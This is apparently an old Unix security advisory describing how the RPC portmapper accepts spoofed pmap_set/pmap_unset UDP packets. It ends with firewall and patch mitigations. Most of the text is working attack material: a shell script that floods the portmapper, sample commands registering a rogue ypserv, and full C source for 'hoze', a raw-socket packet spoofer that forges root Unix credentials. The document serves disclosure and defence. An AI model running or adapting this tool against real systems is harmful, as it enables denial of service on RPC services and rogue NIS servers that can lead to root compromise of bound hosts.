COMMAND

    portmapper

SYSTEMS AFFECTED

    Most unices

PROBLEM

    As every  RPC programs,  the portmapper  has his  own remote  call
    procedure (using xdr notation for arguments). These one are:

    -pmap_dump:    this rpc procedure is called when you do a 'rpcinfo
		   -p server'.

    -pmap_getport: this one is used  when a (local || remote)  program
		   wants to know on  which port a special  rpc program
		   is listening on (for example, when ypbind tries  to
		   talk to ypserver, it  asks first to the  portmapper
		   on which port ypserv program is running).

    -pmap_callit:  this is the proxy call for the portmapper....  this
		   flaw has  been widely  used in  order to  steal nfs
		   handle, to  bypass nfs  host control  access, or to
		   remotely  retrieve  files  server  by  ypserv  (ie.
		   passwd).   Hopefully,  Wietse'  portmapper  secured
		   these security problems  by forbidding callit()  to
		   rpc.mountd, rpc.nfsd, and yp* rpc programs.

     -pmap_set:    it is  called when a rpc program wants  to register
		   itself in the  portmapper list (rpcinfo  -p returns
		   this list).

     -pmap_unset:   same as  above but  it's used  to unregister a rpc
		   program.   Again, Wietse'  portmapper fixed  almost
		   all the holes related to pset/punset rpc calls.

    However, due to  a restriction in  the protocol, all  the security
    problems cannot  be fixed  easily.   When a  rpc program  (such as
    rpc.mountd) wants to un/register itself on the portmapper list, it
    sends an udp || tcp packet to the portmapper (port 111) using  the
    pmap_set or  pmap_unset respectively.   The portmapper  checks the
    validity of the call by  determining if the rpc packet  comes from
    the localhost  using a  priviledged source  port (between  512 and
    1024 when -DCHECK_PORT option is used while compiling portmapper).
    Unix authentification  is not  checked.   The unfortunate  problem
    being  that  the  typical  Sun-based  rpc  library uses a function
    called  get_myaddress()  to  determine  where  it  should send the
    packet.   This function  returns the  machine's local  IP address,
    when it really should return 127.0.0.1.  This then causes problems
    because  a  specially  hacked  portmap  still cannot differentiate
    between a spoofed or non-spoofed request.

    RPC programs talks to the  portmapper using RPC xdr calls.   Thus,
    when a RPC  program (un)registers itself  on the portmapper  list,
    it sends to portmapper port (111) an udp/tcp packet which contains
    a xdr pmap_(un)set call. The portmapper accepts this call only if:

	- source address comes from localhost
	- source port is  not priviledged (compiled with  -DCHECK_PORT
	  flag)
	- uses a valid unix auth (it doesn't check that but it could)

    The problem is that the  udp protocol is connectionless so  easily
    spoofable  and  unix  authentification  is  weak  (and also easily
    spoofable). Therefore, crafting  a pmap_set/unset udp  packet with
    source ip 0x7f000001  and source port  between (512 and  1024), we
    can  (un)register  any  RPC  programs  on  the  remote host.  This
    problem is  well known  and can't  be easily  fixed except  if you
    block  ports  111  and  32771  on  your firewall or if you compile
    Wietse's  portmapper  with  -DLOOPBACK_SETUNSET  flag (be careful,
    librpc libraries and kernel needs also heavy modifications).  It's
    important to  say that  this problem  is NOT  a security  hole but
    rather a  feature of  the RPC  protocol.   Therefore, it  has been
    implemented by following the protocol restrictions.  The potential
    risks are from side of remote attacker:

    - possibility to create a DoS on any rpc services provided by  the
      server
	 If the attacker unregisters rpc.mountd and rpc.nfsd  programs
	 then he will prevent the  server from exporting his files  to
	 other systems.  ypbind and  ypserv can do even worst  damages
	 (DoS).
    - the portmapper  can be flooded..  thus allocating memory  on the
      system (used for its pmap list). ex:

	==================
	#!/bin/sh
	# The Viagra equivalent for script kiddies.

	expr=/usr/bin/expr

	if [ ! $1 ]
	then
		echo usage : $0 ip
		exit 1
	fi

	i=0
	while :
	do
	   i=`$expr $i + 1`
	   echo hoze -u -a -n $i -e $i -p $i -t $i $1 777 111
		hoze -u -a -n $i -e $i -p $i -t $i $1 777 111 2>&1 >/dev/null
	done
	==================

    Local attacker:

    - if the attacker is a local user, he can do even more evil things
      Every rpc  programs on  the local  system can  be replaced  by a
      rogue program; this can lead to root compromise.
	using hoze on  an external box,  he can unregister  the ypbind
	rpc  program  and  then  add  his  own  rogue  ypbind  server.
	Therefore, he can easily bind the sytem to an evil ypserver...
	Even worse,  setting a  rogue ypserver  could lead  to a  root
	compromise on every hosts binded to this ypserver.

    Of course, he definitively needs an access on the system in  order
    to bind  his own  ypserv program.   For example,  a rpc  call that
    would set up a ghost ypserver would be:

	Mithrandir:~# rpcinfo -p www.pouet.org
	program vers proto   port
	     100000    2   tcp    111  portmapper
	     100000    2   udp    111  portmapper
	     100005    1   udp    749  mountd
	     100005    1   tcp    751  mountd
	     100003    2   udp   2049  nfs
	     100003    2   tcp   2049  nfs

	Mithrandir:~# hoze -u -a -n ypserv -e 2 -p 666 -t udp www.pouet.org 888 111

    This command is equivalent to :

	Mithrandir:~# hoze -u -a -n 0x186a4 -e 2 -p 0x29a -t 17 www.pouet.org 888 111

	Mithrandir:/usr/local/src/hackp/portmaph/hoze# rpcinfo -p localhost
	program vers proto   port
	     100000    2   tcp    111  portmapper
	     100000    2   udp    111  portmapper
	     100005    1   udp    749  mountd
	     100005    1   tcp    751  mountd
	     100003    2   udp   2049  nfs
	     100003    2   tcp   2049  nfs
	     100004    2   udp    666  ypserv

    The ypserv  program is  only registered  on the  portmapper list..
    there is no real ypserver process running on the remote server.
    Exploit code:

    /*

     hoze.c : pmap_set/pmap_unset spoofer (portmapper v.2 and others probably).

     [part of the rpc project, 981112]


     To Unfy, the magician of Hoze.

						    ga <duncan@mygale.org>

    */

    #include <string.h>                  // strcpy etc..
    #include <
    #include <stdlib.h>                  // for malloc, free, strtol
    #include <unistd.h>                  // for getopt
    #include <errno.h>                   // for perror
    #include <netdb.h>                   // gethostbyname
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>                      // for socket interface
    #include <linux/socket.h>
    #include <linux/ip.h>                        // for ip  header struct (iphdr)
    #include <linux/in.h>                        // for ip protocol (IPPROTO_*)

    #define LEN_HDR_IP      20
    #define LEN_HDR_UDP     8
    #define LEN_HDR_RPC     24
    #define LEN_AUTH_UNIX   84

    struct ip_hdr                           // 20
    {
	    unsigned char      ver;
	    unsigned char      tos;
	    unsigned short int length;
	    unsigned short int identification;
	    unsigned short int fragoff;
	    unsigned char      ttl;
	    unsigned char      protocol;
	    unsigned short int checksum;
	    unsigned long  int sip;
	    unsigned long  int dip;
    };

    struct udp_hdr                          // 8
    {
	    unsigned short int sport;
	    unsigned short int dport;
	    unsigned short int length;
	    unsigned short int checksum;
    };

    struct rpc_hdr                          // 24
    {       unsigned long  xid;
	    unsigned long  type_msg;
	    unsigned long  version_rpc;
	    unsigned long  prog_id;
	    unsigned long  prog_ver;
	    unsigned long  prog_proc;
    };

    struct pset_data                        // 16
    {
	    unsigned long  prog_id;
	    unsigned long  prog_ver;
	    unsigned long  prog_prot;
	    unsigned long  prog_port;
    };

    struct punset_data
    {
	    unsigned long  prog_id;         // 8
	    unsigned long  prog_ver;
    };

    struct rpcall                           // 36
    {
	    unsigned long prog_id;
	    char progname[32];
    };

    struct rpcall rpc_progs[17] =
    {
	    {100000, "portmapper"},
	    {100001, "rstatd"    },
	    {100002, "rusersd"   },
	    {100003, "nfs"       },
	    {100004, "ypserv"    },
	    {100005, "mountd"    },
	    {100007, "ypbind"    },
	    {100009, "yppaswdd"  },
	    {100011, "rquotad"   },
	    {100012, "sprayd"    },
	    {100017, "rexd"      },
	    {100020, "llockmgr"  },
	    {100021, "nlockmgr"  },
	    {100024, "status"    },
	    {100026, "bootparam" },
	    {100028, "ypupdated" },
	    {150001, "pcnfsd"    }
    };

    unsigned long resolve_rpcid(char *progid)
    {
    int i;

    for(i=0;i<(sizeof(rpc_progs)/sizeof(0[rpc_progs]));i++) {
       if ((!strncmp(i[rpc_progs].progname, progid,strlen(i[rpc_progs].progname))))
       return (i[rpc_progs].prog_id);
    }

    return(strtol(progid, (char **)NULL, 0));
    }

    unsigned long resolve_rpcproto(char *progproto)
    {
       if(!(strncmp(progproto,"udp",3))) return(IPPROTO_UDP);
       if(!(strncmp(progproto,"tcp",3))) return(IPPROTO_TCP);
       return(strtol(progproto, (char **)NULL, 0));
    }

    /* incoming headache */
    void dump_packet(unsigned char *pkt, int lenpkt)
    {
    register int m;
    register int n;
    register unsigned char *data;

       printf("(%d bytes)\n", lenpkt);

       data=(u_char *)pkt;
       for (m=0;m<lenpkt;m++) {
	  if( (!(m%2)) && (m!=0) ) putchar(' ');
	  if( (!(m%8)) && (m!=0) ) {
	     n=m;
	     for (n=8;n>0;n--) {
		if ((*(data+m-n)>31) && (*(data+m-n)<127))
		     printf("%c", *(data+m-n));
		else
		   putchar('.');
	     }
	     putchar('\n');
	  }
	  printf("%02x",*(data+m));
       }
       for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
	   ;m++) putchar(' ');
       for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++) {
		if ((*(data+m)>31) && (*(data+m)<127))
		     printf("%c", *(data+m));
		else
		   putchar('.');
       }
       printf("\n\n");
    }

    /* make it raw, oh yes */
    int make_raw_socket()
    {
    int s;
    int opt=1;

       if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
	  perror("socket");
	  return -1;
       }
       if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0) {
	  perror("setsockopt IP_HDRINCL");
	  return -1;
       }
       return s;
    }

    unsigned long int resolve_host_name(char *hname)
    {
       unsigned long inetaddr;
       struct  hostent *h_ent;

       if ((inetaddr=inet_addr(hname))==-1) {
	  if (!(h_ent=gethostbyname(hname))) {
	     fprintf(stderr, "can't resolve host %s\n", hname);
	     exit(1);
	  }
	  bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
       }
       return(inetaddr);
    }

    /* unix authentification.... the one who relies on this for security is dead */
    void make_auth_unix(authptr)
    unsigned long *authptr;
    {
    struct timeval tv;

       gettimeofday(&tv, (struct timezone *) NULL);

       *(  authptr)=htonl(1);                                      // auth unix
       *(++authptr)=htonl(LEN_AUTH_UNIX-16);                       // length auth
       *(++authptr)=htonl(tv.tv_sec);                              // local time
       *(++authptr)=htonl(9);                                      // length host
       strcpy((char *)++authptr, "localhost");                     // hostname
       authptr+=(3);                                               // len(host)%4
       *(  authptr)=htonl(0);                                      // uid root
       *(++authptr)=htonl(0);                                      // gid root
       *(++authptr)=htonl(9);                                      // 9 gid grps
       // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
       *(++authptr)=htonl(0) ;*(++authptr)=htonl(1) ;*(++authptr)=htonl(2);
       *(++authptr)=htonl(3) ;*(++authptr)=htonl(4) ;*(++authptr)=htonl(6);
       *(++authptr)=htonl(10);*(++authptr)=htonl(11);*(++authptr)=htonl(0);
    }

    void usage(char *progname)
    {
       fprintf(stderr, "help : %s -h\n", progname);
       fprintf(stderr, "%s [-u] -a -n id -e ver -p port -t prot destip sport dport\n", progname);
       fprintf(stderr, "%s [-u] -r -n id -e ver                 destip sport dport\n", progname);
       exit(0);
    }

    void option(char *progname)
    {
       fprintf(stderr, "%s :\n", progname);
       fprintf(stderr, "      -i   infos about %s\n", progname);
       fprintf(stderr, "      -s   infos about system on which %s was tested\n"
								     ,progname);
       fprintf(stderr, "      -h   hummrph. Try again\n");
       fprintf(stderr, "      -u   add rpc unix authentification\n");
       fprintf(stderr, "      -a   add    a program to   portmapper list\n");
       fprintf(stderr, "      -r   remove a program from portmapper list\n");
       fprintf(stderr, "      -n   rpc program name or id ('-n?' gives a list)\n");
       fprintf(stderr, "      -e   rpc program version\n");
       fprintf(stderr, "      -p   rpc program port\n");
       fprintf(stderr, "      -t   rpc program protocol (udp or tcp)\n");
       exit(0);
    }

    main(int argc,char **argv)
    {

    int aflag, rflag, nflag, eflag, pflag, tflag, uflag=0;
    unsigned long progid, progver, progport, progproto=0;

    int lenpkt, raws, arg, i;
    unsigned char *pkt;
    unsigned long  sip=ntohl(0x7f000001), dip;
    unsigned short int sport, dport;

    unsigned long *authp;

    struct ip_hdr      *iph;
    struct udp_hdr     *udph;
    struct rpc_hdr     *rpch;
    struct pset_data   *psetd;
    struct punset_data *punsetd;

    struct sockaddr_in s_in;
    struct sockaddr    *sa=(struct sockaddr*)&s_in;

       aflag=rflag=nflag=eflag=pflag=tflag=uflag;
       progid=progver=progport=progproto;

       if ( (getuid()!=0) && (geteuid()!=0) ) {
	  fprintf(stderr, "don't even think about that.\n");
	  exit(1);
       }

       if (argc<2) usage(argv[0]);

       while ((arg=getopt(argc, argv, "ishuarn:e:p:t:u")) !=EOF) {

	  switch(arg) {
	     case 'i':
		fprintf(stderr, "portmapper set/unset spoofer - ");
		fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
		exit(0);
	     case 's':
		fprintf(stderr, "Linux Mithrandir 2.0.0 (Slackware 3.1) i486 (dx2-66 8mb) - ");
		fprintf(stderr, "gcc version 2.7.2\n");
		exit(0);
	     case 'u':
		uflag++;
		break;
	     default:
	     case 'h':
		option(argv[0]);
		break;                              // NOTREACHED
	     case 'a':
		lenpkt=sizeof(*psetd);              // pmap_set length data
		aflag++;
		break;
	     case 'r':
		if (!aflag) {
		   rflag++;
		   lenpkt=sizeof(*punsetd);         // pmap_unset length data
		}
		break;
	     case 'n':
		if ((char)*(optarg)=='?') {
		   printf("rpc prog id     rpc prog name\n");
		   for(i=0;i<(sizeof(rpc_progs)/sizeof(0[rpc_progs]));i++)
		      printf("%i          %s\n", i[rpc_progs].prog_id,
						 i[rpc_progs].progname);
		   exit(0);
		}
		progid=resolve_rpcid(optarg);
		nflag++;
		break;
	     case 'p':
		progport=strtol(optarg, (char **)NULL, 0);
		pflag++;
		break;
	     case 'e':
		progver=strtol(optarg, (char **)NULL, 0);
		eflag++;
		break;
	     case 't':
		progproto=resolve_rpcproto(optarg);
		tflag++;
		break;
	  }
       }

       if ((argc-optind)==3) {
	  dip=resolve_host_name(argv[optind]);
	  sport=           atoi(argv[optind+1]);
	  dport=           atoi(argv[optind+2]);
       }
       else usage(argv[0]);

       /*
	  portmapper may be compiled with -DCHECK_PORT flag; thus, the set/unset
	  will be rejected and discarded. Just give a small warning...
       */

       if ((sport>=1024) || (sport<=512))
	  fprintf(stderr, "warning : 'sport' should be between 512 and 1024\n");

       /* ugly */

       if (!((aflag) && (nflag&eflag&pflag&pflag)))
       if (!((rflag) && (nflag&eflag))) usage(argv[0]);

       lenpkt+=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+(uflag?LEN_AUTH_UNIX:16);

       if (!(pkt=malloc(lenpkt))) {
	  fprintf(stderr, "malloc() failed\n");
	  exit(1);
	  }
       memset(pkt, 0, lenpkt);

       iph=    (struct ip_hdr*)     (pkt);
       udph=   (struct udp_hdr*)    (pkt+LEN_HDR_IP);
       rpch=   (struct rpc_hdr*)    (pkt+LEN_HDR_IP+LEN_HDR_UDP);
       authp=  (unsigned long *)    (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
       psetd=  (struct pset_data*)  (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+
				    (uflag?LEN_AUTH_UNIX:16));
       punsetd=(struct punset_data*)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+
				    (uflag?LEN_AUTH_UNIX:16));

       /* this whole stuff should be in a proc but well... */

       iph->ver=0x45;
       iph->length=htons(lenpkt);
       iph->identification=htons(0x6761);
       iph->ttl=0xff;
       iph->protocol=IPPROTO_UDP;
       iph->checksum=htons(0);
       iph->sip=sip;
       iph->dip=dip;
       udph->sport=htons(sport);
       udph->dport=htons(dport);
       udph->length=htons(lenpkt-LEN_HDR_IP);
       udph->checksum=htons(0);
       rpch->xid=htonl(0x67616761);                 // rpc packet's xid
       rpch->type_msg=htonl(0);                     // request
       rpch->version_rpc=htonl(2);                  // using portmapper v.2
       rpch->prog_id=htonl(0x186a0);                // rpc prog 100000 = portmapper
       rpch->prog_ver=htonl(2);                     // v.2 again, redundant
       rpch->prog_proc=htonl(aflag?1:2);            // pmap_set || pmap_unset ?


       /* pmap_set call   */
       if (aflag) {
	  psetd->prog_id  =htonl(progid);
	  psetd->prog_ver =htonl(progver);
	  psetd->prog_prot=htonl(progproto);
	  psetd->prog_port=htonl(progport);
       }
       /* pmap_unset call */
       else
       {
	  punsetd->prog_id  =htonl(progid);
	  punsetd->prog_ver =htonl(progver);
       }

       /* add unix authentification if requested */
       if (uflag) make_auth_unix(authp);

       if ((raws=make_raw_socket())==-1) {
	  free(pkt);
	  exit(1);
       }

       /* dump infos */
       printf("%s:%i -> ", inet_ntoa(sip), sport);
       printf("%s:%i\n"  , inet_ntoa(dip), dport);
       printf("progid %i, progver %i, progport %i, progproto %i\n",
	       progid,    progver,    progport,    progproto);

       dump_packet((char *)iph, lenpkt);

       /* send our packet */
       s_in.sin_family=AF_INET;
       s_in.sin_port=htons(911);                    // whatever
       bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));

       if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
					 sizeof(struct sockaddr)))==-1) {
	  perror("send");
	  close(raws);
	  free(pkt);
	  exit(1);
       }

       close(raws);
       free(pkt);
    }

SOLUTION

    OpenBSD portmap and their libc long time ago fixed this:

	RCS file: /cvs/src/usr.sbin/portmap/portmap.c,v
	revision 1.3
	date: 1996/06/29 19:03:50;  author: deraadt;  state: Exp;  lines: +135 -64
	multiple receivers, port checking. testing help from bitblt

    As you  can see,  this isn't  a new  issue, since  it was fixed in
    OpenBSD more than two years ago.  Other vendor systems (especially
    statically linked  programs) cannot  fix this  as easily  since it
    requires a change to get_myaddress() in libc.

    You can:

    - use  a firewall/router  that filters  ports 111  _and_ 32771 and
      configure it so that it rejects all packets coming from  outside
      with a  source ip  which is  inside your  network (note  that it
      doesn't protect  you from  an attack  coming from  your internal
      network).
    - compile your  portmapper with -DLOOPBACK_SETUNSET  flag.. notice
      that it's  damn hard  to implement  because you  have to  change
      other things  in your  rpc services  as well  as in  your kernel
      config.